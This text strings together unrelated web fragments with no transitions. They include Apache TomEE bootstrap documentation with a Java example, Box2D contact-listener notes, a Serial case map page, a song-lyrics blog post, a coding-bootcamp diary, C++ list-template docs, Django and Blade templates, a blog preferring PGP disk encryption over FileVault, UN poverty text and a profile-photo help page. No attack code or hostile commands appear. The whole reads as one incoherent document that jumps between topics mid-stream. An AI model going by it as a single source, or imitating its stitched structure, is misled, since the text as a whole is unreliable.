/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/web.xml
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/logs
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/webapps
The above represents what comes out of the box from calling Server.builder().build()
with no modifications.
Creating Apps with Archive
The second class to learn is Archive
and is essentially a no-frills app builder. With this approach all your classes are effectively already in the classpath and visible, so ultimately the only classes that need to be included are annotated Servlets, EJBs, CDI Beans, JAX-RS classes, etc.
public class Archive
public static Archive archive()
public Archive manifest(final String key, final Object value)
public Archive manifest(final String key, final Class value)
public Archive add(final String name, final byte[] bytes)
public Archive add(final String name, final Supplier<byte[]> content)
public Archive add(final String name, final String content)
public Archive add(final String name, final File content)
public Archive add(final String name, final Archive archive)
public Archive add(final String name, final URL content)
public Archive add(final Class<?> clazz)
public Archive addDir(final File dir)
public Archive addJar(final File file)
public File toJar()
public File toJar(final File file)
public File toDir()
public void toDir(final File dir)
You can use APIs like ShrinkWrap to build the jars and war files as an alternative to Archive . Anything that can produce a jar file, war file or an exploded (unzipped) war directory structure will work.
|
Creating a ROOT war
In this example we are effectively adding three classes to an Archive
which is itself added to a new webapps/ROOT/WEB-INF/classes
directory.
import org.apache.tomee.bootstrap.Archive;
import org.apache.tomee.bootstrap.Server;
import java.io.File;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.file.Files;
public class Main {
public static void main(String[] args) {
final Server server = Server.builder()
.add("webapps/ROOT/WEB-INF/classes", Archive.archive()
.add(Api.class)
.add(Movie.class)
.add(MovieService.class))
.home(Main::list)
.build();
System.out.println("Listening for requests at " + server.getURI());
}
private static void list(final File home) {
try {
Files.walk(home.toPath())
.map(Path::toFile)
.filter(File::isFile)
.map(File::getAbsolutePath)
.map(s -> "..." + s.substring(49))
.sorted()
.forEach(System.out::println);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
When this runs we’ll see out Main.list
method which executes just before server start will have printed the following:
...temp710654453954858189dir/apache-tomee/conf/catalina.policy
...temp710654453954858189dir/apache-tomee/conf/catalina.properties
...temp710654453954858189dir/apache-tomee/conf/context.xml
...temp710654453954858189dir/apache-tomee/conf/jaspic-providers.xml
...temp710654453954858189dir/apache-tomee/conf/jaspic-providers.xsd
...temp710654453954858189dir/apache-tomee/conf/logging.properties
...temp710654453954858189dir/apache-tomee/conf/server.xml
...temp710654453954858189dir/apache-tomee/conf/system.properties
...temp710654453954858189dir/apache-tomee/conf/tomcat-users.xml
...temp710654453954858189dir/apache-tomee/conf/tomcat-users.xsd
...temp710654453954858189dir/apache-tomee/conf/tomee.xml
...temp710654453954858189dir/apache-tomee/conf/web.xml
...temp710654453954858189dir/apache-tomee/webapps/ROOT/WEB-INF/classes/org/superbiz/movie/Api.class
...temp710654453954858189dir/apache-tomee/webapps/ROOT/WEB-INF/classes/org/superbiz/movie/Movie.class
...temp710654453954858189dir/apache-tomee/webapps/ROOT/WEB-INF/classes/org/superbiz/movie/MovieService.class


Called when two fixtures begin to touch.
Contact point.
Called when two fixtures cease to touch.
Contact point.
This lets you inspect a contact after the solver is finished. This is useful for inspecting impulses. Note: the contact manifold does not include time of impact impulses, which can be arbitrarily large if the sub-step is small. Hence the impulse is provided explicitly in a separate data structure. Note: this is only called for contacts that are touching, solid, and awake.
Contact point.
Contact impulse.
This is called after a contact is updated. This allows you to inspect a contact before it goes to the solver. If you are careful, you can modify the contact manifold (e.g. disable contact). A copy of the old manifold is provided so that you can detect changes. Note: this is called only for awake bodies. Note: this is called even when the number of contact points is zero. Note: this is not called for sensors. Note: if you set the number of contact points to zero, you will not get an EndContact callback. However, you may get a BeginContact callback the next step.
Contact point.
Old manifold.
Generated using TypeDoc
Implement this class to get contact information. You can use these results for things like sounds and game logic. You can also get contact results by traversing the contact lists after the time step. However, you might miss some contacts because continuous physics leads to sub-stepping. Additionally you may receive multiple callbacks for the same contact in a single time step. You should strive to make your callbacks efficient because there may be many callbacks per time step.
You cannot create/destroy Box2D entities inside these callbacks.


Hae Min Lee / Adnan Syed
View Fullscreen Map: True Crime Companion - Mapbox Studio (Not all geospatial data is visible at default embedded map zoom level. Southernmost POI is cell tower L608 and northernmost POI is Lenscrafters (Hunt Valley). Some features, such as Woodlawn Public Library, aren't visible without zooming in.)
Popularized by the hit podcast Serial, this case follows the 1999 murder of Woodlawn High School student, Hae Min Lee, and the conviction of her ex-boyfriend, Adnan Syed. Just recently, in November 2019, the United States Supreme Court denied hearing Syed's petition for writ of certiorari.
There have been several developments in the case since the last episode of Serial Season One aired in 2015. Serial provided some follow-up episodes, but I highly recommend watching the HBO Documentary for a recap and to catch up on some of the more recent developments. The Undisclosed Podcast doesn't have the production value of Serial, but it dives much deeper into the case.
Listen to the Serial Podcast here: Serial Season One
Listen to the Undisclosed Podcast here: Undisclosed Season One
Watch the HBO Documentary Series here: The Case Against Adnan Syed
Download Shapefiles: Case1_Shapefiles.zip


---
layout: post
status: publish
published: true
title: How Can I Not Love You
author: Leask
author_login: leask
author_email<EMAIL_ADDRESS>author_url: https://leaskh.com
wordpress_id: 522
wordpress_url: http://leaskh.wordpress.com/2006/06/22/how-can-i-not-love-you
date: '2006-06-22 23:17:13 +0800'
date_gmt: '2006-06-22 23:17:13 +0800'
categories:
- Music
tags: []
comments: []
---
Cannot touch, Cannot hold, Cannot be together
Cannot love, Cannot kiss, Cannot love each other
Must be strong and we must let go
Cannot say what our hearts must know
Chorus:
How can I not love you
What do I tell my heartHow can
When do I not want you here in my arms
How does one walks away
From all of the memories
How do I not miss you when you are gone
Cannot trip, Cannot share sweet and tender moments
Cannot feel how we feel, Must pretend it's over
Must be brave and we must go on, Must not say
What we no longer long
Chorus:1
How can I not love you
What do I tell my heart
When do I not want you here in my arms
How does one walks away
From all of the memories
How do I not miss you when you are gone
How can I not love you
Bridge:
Must be brave and we must be strong
Cannot say what we no longer long
Chorus:
How can I not love you
What do I tell my heart
When do I not want you here in my arms
How does one walks away
From all of the memories
How do I not miss you when you are gone
How can I not love you
When you are gone
Download:
http://www.box.net/public/junjze9kla


It has been a bumpy start. But, I have fallen in love with the command line. Telling the computer what to do through commands makes me feel like a computer wiz, a super hacker!
For those of you who don't know what the command line is, it is a way to navigate and interact with the computer by typing a 'command' into the Terminal. You can access everything on the computer from this one window, and usually with just one line! This takes the place of using the mouse or searching through the File Explorer or Finder to locate a file or application and opening and manipulating it.
Which brings me to git, version control, and GitHub. Git and GitHub are tools to help facilitate version control. Git is software local to your computer that allows you to create various versions of content as your content develops. This helps to keep track of changes, allows you to revert to a specifc version of your content, and also allows mutiple people to work on the same content and later merge these versions into one. To help with collaborations, feedback, or simply to have remote access to your content, using the command line you can push these versions of your content to a hosting site like GitHub where anyone can have access to it.
So there it is! It's the first week of Phase 0 at DevBootcamp, and I already feel technically empowered by using the command line and getting familiar with git and GitHub as version control tools.


Visit your Dashboard to manage your stores.
Read more about it or Sign Up to get started. Already own an account? Sign In to manage your stores.


Top: Basic types: Lists: tpodlist
template <class X, bool initzero = false> class tpodlist { tpodlist(); tpodlist& operator =(const tpodlist& t); int get/set_count(int); int get/set_capacity(int); X& ins(int index); void ins(int index, const X& item); void ins(int index, const tpodlist& t); X& add(); void add(const X& item); void add(const tpodlist& t); X& operator [](int index); const X& operator [](int index) const; X& top(); void del(int index, int count = 1); void pop(); void clear(); void pack(); }
The tpodlist template implements a dynamic array of
so-called POD (plain-old-data) objects. POD types in C++ are: all integral types,
pointers, floating point types, and also compound types (i.e. arrays and structures)
that contain only POD items. With optimizing compilation, the instantiation of
this template produces no extra code.
The parameter X of this template specifies the element type for the list. The optional parameter initzero indicates whether the memory allocated for new elements should be initialized to zero in methods ins(int), add() and set_count(int).
tpodlist::tpodlist() is the default constructor.
tpodlist& tpodlist::operator =(const tpodlist& t) is an assignment operator that clears a list and then copies all items from t.
int tpodlist::get/set_count(int) gets or sets the number of items in a list.
int tpodlist::get/set_capacity(int) gets or sets the capacity of a list. The capacity property reflects the number of items actually allocated for a list and is set automatically by other methods whenever necessary. Tpodlist uses a 'lazy allocation' technique for better performance: when items are being added with add() or ins(), the capacity grows in bigger increments. This property, however, does not change when you delete items from a list, with only exception when count becomes 0, in which case capacity is also set to 0. You can call pack() to optimize memory usage after deleting multiple items. Setting capacity to a value less than count is an error.
X& tpodlist::ins(int index) allocates a slot for a new item at the position index and returns a reference to the slot. All items with greater indexes are moved up to make room for the new item. The slot can be initialized to zero if the template parameter initzero was true. Calling ins() with index equal to count is equivalent to calling add().
void tpodlist::ins(int index, const X& item) inserts item at index.
void tpodlist::ins(int index, const tpodlist& t) inserts all items of the list t at the position index.
X& tpodlist::add() allocates a slot for a new item at the end of a list and returns a reference to the slot.
void tpodlist::add(const X& item) appends item to a list.
void tpodlist::add(const tpodlist& t) appends the list t to a given list.
X& tpodlist::operator [](int index) returns a reference to an item at the position index. A const version of this operator also exists.
X& tpodlist::top() returns a reference to the last item (one that has the greatest index) in a list.
void tpodlist::del(int index, int count = 1) deletes count items from a list and moves all items with greater indexes down. The parameter count is optional and defaults to 1.
void tpodlist::pop() deletes the last item from a list.
void tpodlist::clear() deletes all items from a list and also sets capacity to 0.
void tpodlist::pack() sets capacity equal to count. You can call pack() after deleting multiple items from a list to optimize memory usage.
See also: tobjlist


{% comment %} Displays a paginated list of Events. Expects: * event_list - List or Queryset of Events. * page_obj - A DiggPaginator instance. {% endcomment %} {% if event_list|length > 0 %} {% if page_obj|default:False and page_obj.number > 1 %} {% include 'spectator_core/includes/pagination.html' with page_obj=page_obj only %} {% endif %} {% include 'spectator_events/includes/events.html' with event_list=event_list only %} {% include 'spectator_core/includes/pagination.html' with page_obj=page_obj only %} {% else %}
There are no events to show.
{% endif %}


---
type: typography
title: Utilities
usage: Change typographic weights, styles, and alignment with these utility classes.
stylesheet: '/scss/typography/utility.scss'
---
Text in bold
Text in semibold
Text in regular
Text in italic
Text with underline
Text in caps
Text with left-align
Text in center
Text with right-align
Text in justify
Text with
nowrap
Text with break-word
Text with truncate is cut
- list reset item 1
- item 2
- item 3
- Normal list item 1
- item 2
- item 3


Key Visualizer
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
11111111111111111111111111111111
11111111111111111111111111111111273Yts
11111111111111111111111111111111
×
Warning!
This is for educational purposes only. Please do not actually use this as anything more than a toy or learning tool.
[More info]


|
|
{{ $registration->event->title }}
{{ $registration->event->place }}
Starts on {{ $registration->event->start_at->format('l, jS \\of F Y \a\t H:i') }}
|
|
|
Thank you for purchasing a ticket to this event.
Just show this e-mail at the entrance
and you're good to go!
|
| Name: {{ $registration->user->name }}
|
|
Description
|
Value
|
| Ticket "{{ $registration->registrationType->type }}" |
€{{ number_format($registration->registrationType->price, 2, '.', ',') }} |
@if($registration->fined)
| Fine |
€{{ number_format($registration->registrationType->fine, 2, '.', ',') }} |
@endif
| Total |
€{{ number_format($registration->total, 2, '.', ',') }} |
|
|
|
|


I just got done with encrypting my notebook’s 500GB hard drive. It took a little over 6 hours to for PGP to encrypt the whole drive. I have a Mac so I had the option to use FileVault the built in encryption service, but chose instead to use PGP.
For me, the big differentiator is that FileVault only encrypts your home folder. There are so many ways that data can get outside your home folder and that is a glaring security hole.
These are the advantages to PGP Whole Disk Encryption over FileVault:
- Time Machine Backup’s run whilst user is logged into home folder.
- You get some extra tools (eg to encrypt external drives.)
- You don’t need to worry about sensitive data getting outside of the home folder.
- You can use the computer while the disk is encrypting.
- Your swap file and sleep image are encrypted automatically.
- No extra waiting during shutdown for FileVault optimizations.
The big advantage of FileVault over PGP WDE is that FileVault is an Apple created technology and will be compatible with future versions of Mac OS X where PGP might not. Recently users who upgraded to 10.6.5 found their computers unable to boot due to a last minute change made by Apple before the release. PGP was quick to fix the issue and nobody lost data, but the thought of waiting for a rescue boot disk to use your notebook again is pretty scary.
I consider myself a power user and I was initially worried about performance. WDE is not supposed to cause any noticeable performance hit to your notebook in normal usage. (What ever that means.) For me, I notice that the startup times are a bit longer, but everything else is just as zippy fast as it was before WDE.
I travel quite a bit and feel reassured that my notebook is protected especially in the event of a theft. If you have the extra cash, I recommend PGP Whole Disk Encryption over using FileVault as it provides a much more secure way to keep your data safe.


Friendbuy React Demo
Hello, here is a React component:
And here is a button to trigger an overlay Friendbuy Widget


The United Nations has set an ambitious target through Sustainable Development Goal 1:
to end poverty in all its forms by 2030. This goal recognizes the urgent need to
address the root causes of poverty, promote inclusive economic growth, and ensure
equal access to essential resources and opportunities for all. By tackling poverty
comprehensively and holistically, the UN aims to create a world where no one is left
behind, paving the way for a more equitable and sustainable future for humanity.
Poverty levels continue to present a significant challenge on a global scale.
Despite progress in reducing poverty over the years, millions of people around
the world still struggle to meet their basic needs. Economic disparities,
limited access to resources, and systemic inequalities contribute to persistent
poverty, highlighting the urgent need for concerted efforts and sustainable
solutions to alleviate this pressing issue.
Everyone should have equitable access to basic services
Equitable access to basic services is essential for building inclusive societies and ensuring
the well-being of all individuals. Access to services such as education, healthcare, clean
water, sanitation, and energy should not be determined by one's socio-economic status, location,
or other discriminatory factors. By prioritizing and investing in equitable access,
we can bridge gaps, reduce inequalities, and empower marginalized communities,
ultimately fostering social cohesion and creating a more just and prosperous world for everyone.
Climate change exasperates poverty
The impacts of climate change, such as extreme weather events, rising sea levels,
and disruptions to ecosystems, pose significant challenges to economies, livelihoods,
and social well-being. By prioritizing resilience, countries can adapt to these changes,
protect vulnerable populations, safeguard infrastructure, and foster sustainable development,
ensuring a more secure and prosperous future for their citizens.


Versions of ToFu:¶
Many versions of ToFu have been developped before reaching a stable and somewhat satisfactory state. Several versions were already used for producing physcis results and tomographic inversions before the open-source release, which requires documentation and a certain degree of user-friendlyness, thus more work.
The versioning convention used by ToFu is semantic versioning and the module metadata is implemented according to PEP426.
The following only lists the versions advanced enough for release:
- 1.1.0 (default)
This is the first version released in open-source, it only includes the geometry module (for diagnostic designing and synthetic diagnostic) and the pre-treatment module (for data handling)


Managing your Profile Photo
How to manage the photo associated with your user profile.
- Login to the site. See "Logging into a Site"
- Click on your Display Name (typically located in the top right corner of the site) - OR - Navigate to a ViewProfile module. This displays the user profile page.
- Click the Edit Profile button.
- Go to the Profile Basic Settings section of the Manage Profile tab.
- Scroll down to the Photo field and then perform one of the following actions:
Uploading a New Image
- Click the Upload File button and then select the file from your computer.
- This displays the selected image beside the Photo field.
-
Click the Update button.
- Select the photo from the File drop down list. This displays the image to the right of this field.
- Optional. This photo is set as visible to the public by default, however you can increase your privacy by changing the visibility of this field.
Selecting a Previously Uploaded Image
- At File, select the required photo from the drop down list. This displays the image to the right of this field.
-
Click the Update button.
Removing your Profile Image
- At File, select < None Specified >.
-
Click the Update button.
Setting Image Privacy
Your photo is displayed on your user profile and on the Members Directory module by default. To change the privacy of your image, click the Visibility button and choose from these options:
- Public: Select to set a field as visible to any site visitor or member who can view your user profile.
- Members Only: Select to set a field as visible to all authenticated site members.
- Admin Only: Select to set a field as visible to Administrators only.
- Friends and Groups: Select to set a field as visible to your friends and the members of all social groups you have joined. You can further refine this setting by select either Friends or Followers.